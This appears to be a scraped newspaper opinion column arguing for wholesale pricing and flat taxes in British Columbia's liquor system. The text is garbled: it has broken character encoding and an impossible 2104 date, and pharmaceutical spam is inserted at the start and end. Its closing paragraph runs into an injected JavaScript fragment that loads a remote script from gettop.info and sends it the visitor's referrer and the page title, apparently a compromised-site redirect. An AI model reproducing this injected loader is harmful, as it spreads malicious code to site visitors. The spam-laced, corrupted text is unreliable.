New chance with liquor laws – Oct. 18, 2104


cheap panax ginseng By Anthony Gismondi

Just a few months after the arrival of happy hours, the sale of B.C. wine at farmers markets and the possibility of only two grocery stores qualifying to sell wine in Vancouver, the quagmire of B.C. liquor laws remains largely unchanged. Ita��s not that we arena��t thankful for the paint job, we just want to know when the real renovations are going to begin.

Next are the elephants in the room, wholesale pricing and taxes. Reports with little information suggest government could establish a price-based wholesale model for wine and spirits as early as spring. There is plenty at stake because whatever is decided, it will change the direction of British Columbiaa��s hospitality business for a generation or more to come.

It would take most of this space to explain why the current B.C. system is so out of touch with systems that appear to operate seamlessly in places such as Melbourne, London, San Francisco or Barcelona, where food, wine and hospitality works at the highest level. Wineries, breweries, distillers, trade buyers, retailers and consumers are frustrated beyond belief with a system that stifles growth, creativity, sales and the future of our brightest hospitality workers.

Whether or not government decides to become a true wholesaler and hold on to its retail stores, or even steps back from the business for good, we need to move to a wholesale pricing system to level the playing field for retailers now. Allowing beer, wine and spirits to be sold at a true wholesale price to retailers is only a start. We also need to address all the inequities built over years by issuing so many different licenses to so many special-interest groups.

The product should also be priced with a flat-tax (and the money collected) at the wholesale level to raise the same amount of revenue it does now before passing it on to retailers to sell at whatever price they see fit. Provincial and federal taxes could be added at the register before the product goes out the door and Ia��m betting prices would fall and government revenue would rise.

It would also stop a great deal of money leaving the province to buy expensive, high-quality wine in Alberta or Washington, where prices can be substantially cheaper than in British Columbia. B.C. retailers should be set free to sell to consumers plus any licensed restaurant, bar club and pub at whatever price they negotiate. This would allow restaurants, pubs and bars to operate their liquor business with the same wholesale model they work with for everything else they buy. It may even lead to lower over-all prices for consumer buying a drink in a licensed establishment.

Agents and distributors would carry on business as usual, finding and bringing wines to the market and moving them to retailers and educating buyers and sellers alike. In the new wholesale/retail world, true competition would be restored and it would likely spawn a whole new industry in advertising and promotion, one that doesna��t exist under governmenta��s watch.

Consumers would be able to find most any product in the world and producers would be able to sell whatever they wanted, in any size, and any quantity to any interested party. In a city mad about food, wine, beer and spirits, our most creative minds would be set free.

If it sounds simple it is but only if the renovation starts with the foundation taxes and wholesale pricing. No amount of tinkering with discounts and licenses will fix the system, nor will hiding behind the public safety banner. The private sector is more than capable of running a safe, community minded business. If anything, you can raise that bar and enforce it to the limit.

This is our chance to reset the hospitality business and set a standard for the country and you dona��t have many of those in life. Leta��s not muddle it with politics and featherbedding.document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else { buy pills where can i buy quibron-t pills online india drugs online

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